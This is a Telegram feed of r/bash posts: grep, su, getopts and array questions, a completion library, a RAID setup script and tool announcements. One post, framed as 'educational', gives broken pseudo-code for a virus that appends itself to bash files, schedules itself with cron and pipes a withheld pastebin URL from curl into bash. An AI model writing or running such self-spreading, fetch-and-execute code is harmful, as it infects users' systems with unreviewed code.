r_bash – Telegram
grep command guidance

Not sure if this is the best place for this but here goes:
I'm trying to build an implementation of grep by following that codecrafters (step by step project building guide, for those who don't know) thing and the current step is having to implement the `+` pattern, which is supposed to match a certain thing one or more time.

I went through the man page for grep and this is all that's written there too, that it matches the previous pattern one or more times.

Here's what I'm curious about. Does this pattern take into account the next normal pattern? For ex, if my pattern is "\\w+abc", would it match on the input "xyzabc" (under my reasoning, \\w+ carries on until it keeps matching, but the + pattern stops matching in case the next pattern also matches (the next pattern here being the literal "a"). Am I right, or does \\w+ consume all alphanumeric characters?

https://redd.it/1e78yi9
@r_bash
Question on using <su -c>, I’m missing something here on how the command is getting interpreted.

When I run the following command (logged in as root) I am presented with a “-sh: ./app: Permission denied”.

su -c “./app” - foo

However, when I specify additional instructions here it works.

su -c “cd /home/foo && ./app” - foo

If im already in the directory why wouldn’t the above command work? Is the su executing this command from a different location than where im currently sitting in?

https://redd.it/1e79cfd
@r_bash
Bash/Freecodecamp

#!/bin/bash

# Program to tell a persons fortune

echo -e "\n~~ Fortune Teller ~~\n"

RESPONSES=("Yes" "No" "Maybe" "Outlook good" "Don't count on it" "Ask again later")
N=$(( RANDOM % 6 ))

function GET_FORTUNE() {
if [[ ! $1 ]]
then
echo Ask a yes or no question:
else
echo Try again. Make sure it ends with a question mark:
fi

read QUESTION
}

GET_FORTUNE

until [[ $QUESTION =~ \?$ ]]
do
GET_FORTUNE again
done

echo -e "\n$RESPONSES[$N]"

Hi I am go through this pj in Freecodecamp and cannot understand what it means here:
If [[ ! $1 ]]

Does ! mean negation and $1 mean 1st argument? But if I dont pass any argument then the coding still run out the same result. Can anyone explain?

https://redd.it/1e7mw69
@r_bash
Bash syntax

Hi does anyone can explain what this condition means?
If [ ! $1 ]

Thanks

https://redd.it/1e7n73w
@r_bash
Working on a bash completion library, including a function to delete a compword from the scope-local command line. What edge cases am I missing?

Title of post.

A common pattern for me lately is to extend existing commands like `pass` and `git`, both of which have functionality to pick up extension command executables by naming convention and run their respective completion routines. My use case is a bit unique in that many of my extensions accept their own args and then pass through to other existing subcommands of the wrapped command. E.g., I'm currently working on updating my [pw](https://github.com/marcxjo/pw) noscript to run according to the following syntax:

pass store ssh github.com/me

`pw` is just a wrapper that sets the `PASSWORD_STORE_DIR` envar to allow completion of an alternative password store. Hence `pw` and `pass store` are completely equivalent, and either provide passthrough to existing `pass` commands.

To facilitate this and other noscripts I've written, I'm working on a small extension library for `bash-completion` to handle my specific use cases, the foundation of which is a function to enable removing a compword from the compline*. The idea is that, in order to handle `pass` completion in the scenario above, since `pass` has no knowledge of the `store` keyword or its arg, in order to handle passthrough to `pass` I'd forward a compline that simply does not contain these words.

At least in my head, the algorithm is simple: to remove a single word `$n` from `COMP_*`:

COMP_WORD=( "${COMP_WORD[@]:0:n}" "${COMP_WORD[@]:n+1}")
COMP_LINE="${COMP_WORD[*]}"
COMP_CWORD=$((COMP_CWORD - 1))
COMP_POINT=$((COMP_POINT - ${whitespace_before_argn} - ${#n} - ${whitespace_after_argn} + 1))

Note that the intent in `COMP_POINT` would be to collapse all extraneous spaces flanking the deleted `$n` to a single whitespace. I feel like they're may be an edge case I'm missing in doing so, but not totally sure. What, if anything, am I missing to ensure that this works as intended in the general case? What weird behaviors or surprising inputs does this algorithm fail to consider? As always, any and all insight is appreciated.

\* Really, a local copy of the compline, but that's neither here nor there

https://redd.it/1e7xlis
@r_bash
Setting Up RAID with Caching on Ubuntu

### Purpose
I came up with this noscript which I then modified to be more universal so more people could use it without having to change a ton of stuff (unless you are not on Ubuntu then you might have to).


### Script execution
- Updates package lists and installs necessary packages (mdadm, lvm2, bcache-tools, nvme-cli).
- Rescans SCSI and NVMe buses.
- Partitions the specified disks.
- Creates a RAID array with the specified RAID type and disks.
- Initializes the RAID array as a cache device.
- Attaches the cache to the main RAID array.
- Creates an ext4 filesystem on the cached RAID array.
- Mounts the RAID array and updates /etc/fstab to ensure it mounts at boot.
- Provides detailed feedback and error handling throughout the process.


#### User Variables
- MAIN_RAID_TYPE : RAID type for the main RAID array (e.g., 10).
- CACHE_RAID_TYPE : RAID type for the caching RAID array (e.g., 0).
- MAIN_RAID_DISKS : Array of disks for the main RAID array (e.g., /dev/sdc /dev/sdd /dev/sde /dev/sdf).
- CACHE_RAID_DISKS : Array of disks for the caching RAID array (e.g., /dev/nvme1n1 /dev/nvme2n1).

#### Usage Instructions
1. Set the RAID Types and Disks: Open the noscript and set the MAIN_RAID_TYPE, CACHE_RAID_TYPE, MAIN_RAID_DISKS, and CACHE_RAID_DISKS variables at the top of the noscript.
2. Save the Script: Save the noscript to a file, for example, setup_raid_with_cache.sh.
3. Make the Script Executable:
    chmod +x setup_raid_with_cache.sh

4. View Help Menu: Run the noscript with the --help or -h option to view the help menu:
    sudo ./setup_raid_with_cache.sh --help

5. Run the Script as Root or with sudo:
    sudo ./setup_raid_with_cache.sh


#### Example Configuration
MAIN_RAID_TYPE=10
CACHE_RAID_TYPE=0
MAIN_RAID_DISKS=(/dev/sdc /dev/sdd /dev/sde /dev/sdf)
CACHE_RAID_DISKS=(/dev/nvme1n1 /dev/nvme2n1)
sudo ./setup_raid_with_cache.sh


### Sourcing the noscript
You can get the noscript on GitHub here

https://redd.it/1e84grh
@r_bash
Best Bash Learning Resources?

Hello there,

an intermediate software engineering student here

i want some good and beginner friendly bash sources to learn from

Note: i prefer reading that watching videos, so books/articles would be greatly appreciated.

https://redd.it/1e86doo
@r_bash
Maelstrom: Open-Source Stress Test Tool for Your APIs

Hey Reddit!

I just open-sourced on MIT license a new stress test tool ("**Maelstrom**"), that was useful to me. It’s lightweight and designed to be efficient for testing API endpoints with configurable parameters. Here are some of its key features:

* **Customizable Parameters**: Set the number of requests, concurrency level, retry limits, and more.
* **Detailed Logging**: Keep track of HTTP status codes and response times.
* **Email Notifications**: Get summaries of test results via email (optional).
* **Graceful Shutdown**: Handles interruptions smoothly.
* **Latency Metrics**: Helps understand average latency of APIs
* **Graceful Shutdown**: Handles interruptions smoothly.
* **Multi-threaded by design**: Simulates multi-threaded concurrent requests to API Endpoints

GitHub: [https://github.com/twentyone24/maelstrom](https://github.com/twentyone24/maelstrom)

Check it out if you’re interested. I’d love to hear any feedback or suggestions!

Cheers! Thanks for your time :-)

https://redd.it/1e8glqo
@r_bash
how do you know grand-father-dir-size?

Hi, I'd like to learn about any commands for know size of father dir I mean /media/user/A/ that has lots of childs dirs and files. Size of units ...

I tryed ls -lh but it did not say the real size.

That's all folks!

https://redd.it/1e8n3ec
@r_bash
This media is not supported in your browser
VIEW IN TELEGRAM
a tiny program i wrote in bash to help ollama models management easier
https://redd.it/1e8odv3
@r_bash
How to handle ctrl+c in bash noscripts

Hello Guys!

I have wrote an article on Medium on how to handle ctrl+c in bash noscripts using the 'trap' command



For Medium users with a subnoscription: https://lovethepenguin.com/how-to-handle-ctrl-c-in-bash-noscripts-d7085e7d3d47



For Medium users without a subnoscription: https://lovethepenguin.com/how-to-handle-ctrl-c-in-bash-noscripts-d7085e7d3d47?sk=8a9020256b1498196a923c5521619228



Please comment on what you liked, did you find this article useful?

https://redd.it/1e8plnu
@r_bash
Wrote a bash noscript for adding dummy GitHub contributions to past dates
https://redd.it/1e8u8bu
@r_bash
How to pass multiple arguments with one flag and pick them up with getopts?

Dear Bash Experts,

I am trying to do something like:


some_utility -o val1 val2


and I am following:

https://serverfault.com/a/677544/1111748

I would like to ask the original author, but I need at least a 50 reputation to ask. So I am here, and I would like to know if I really need to use sed -f and set +f. I do not know what it does and when I ommit these lines (which keeps the noscript simpler and I like it) things still work the way I want it.

Cheers.


https://redd.it/1e9blot
@r_bash
Looping over an empty array

#! /usr/bin/env bash


set -o nounset
set -o pipefail

IFS='-'

str_files="$(true)"
mapfile -t files <<< "${str_files}"

echo "size: ${#files}"
echo "files: ${files[*]}"

for file in "${files[@]}"; do
echo "-> ${file}"
done


The noscript above prints:

size: 0
files:
->


I was confronted with this issue today. I don't understand why there's one loop. I feel like I'm missing out on something huge.

https://redd.it/1e9diuh
@r_bash
Bash Script Errors (Virus for educational purposes)

Virus is called PURO (idk why i just thought about that name) the error is:

./puro: line 2: syntax error near unexpected token `for'

./puro: line 2: ` for $bashFile in $volume.getAllBashFiles():'


it checks for bash files to find and infect them but i cant find any fixes on these errors so i turned to reddit the code is:

for $volume in '/volumes':

for $bashFile in $volume.getAllBashFiles():

$bashFile.append(thisScript)



cronJob.add(thisScript, OneHour)



bash <(curl -s HIDDEN PASTEBIN LINK FOR UR OWN SAFETY)



https://redd.it/1e9jtth
@r_bash
SSH Server Diagnostic Script Question

I've made a bash noscript that SSHs into a remote machine and runs some diagnostic commands, modify the output to make it more human-readable and use color to highlight important information. Currently I've run into a problem that I cannot solve. I am using HereDocs to basically throw all of my code into, assign this to a variable, then pass this to my SSH command. I can't seem to find a way to run multiple commands, assign their output to a variable to modify later, all while using one single SSH session. Any ideas? The Heredoc works fine, but it prevents me from breaking my code up into smaller functions, and it looks like a mess in the IDE as the HereDoc is treated as a giant string.

https://redd.it/1e9mrl9
@r_bash
open new gnome-terminal, run commands, and kill later

I'm trying to make a bash noscript to easily manage video game servers (e.g. Minecraft) from the command line. Here's what I have currently, which works well for starting a server specified by $1:

cd "$1"
case "$2" in

"run")

gnome-terminal --noscript="Minecraft: Java Edition server" -- /bin/sh -c 'gnome-terminal --noscript="Playit.gg" --tab -- /bin/bash -c "playit"; java -Xms2G -Xmx4G -jar server.jar nogui';;

What I want to do is be able to later use "stop" as $2 and kill those processes that "run" starts. Is there a way to assign the new gnome-terminal to a variable to interact with it? That would make killing both processes at once easier (I think), and make the noscript easier to read.

Additionally, I think that would help for running two servers at once, since I could hopefully do something like kill the server.jar for a given server, then check whether any others are running and, only if I find that none are, kill playit.

https://redd.it/1eaornn
@r_bash
Is it possible to debug a bash noscript using a debugger in attached mode? For debugging noscripts on the host machine and noscripts inside a docker container?

I was able to setup a debugger using a launch mode using Visual Studio Code with the Bash Debug extension. Is it possible to setup the debugger in VSCode to be able to debug a bash noscript using a attach debug mode?


For debugging noscripts on the host machine and noscripts inside a docker container?

https://redd.it/1easa9f
@r_bash
Get all arguments from argument number X

In this example below...

myfunction() {
echo $1
echo $2
echo $3

echo $*
}


It will print out the following...

$ myfunction a b c d e f g h
a
b
c
a b c d e f g h


How would I get it to print out this instead, to not print out "a b c". Is there a simple way to do this without creating a new variable and filtering out the first three arguments from the $* variable?

$ myfunction a b c d e f g h
a
b
c
d e f g h


https://redd.it/1earbab
@r_bash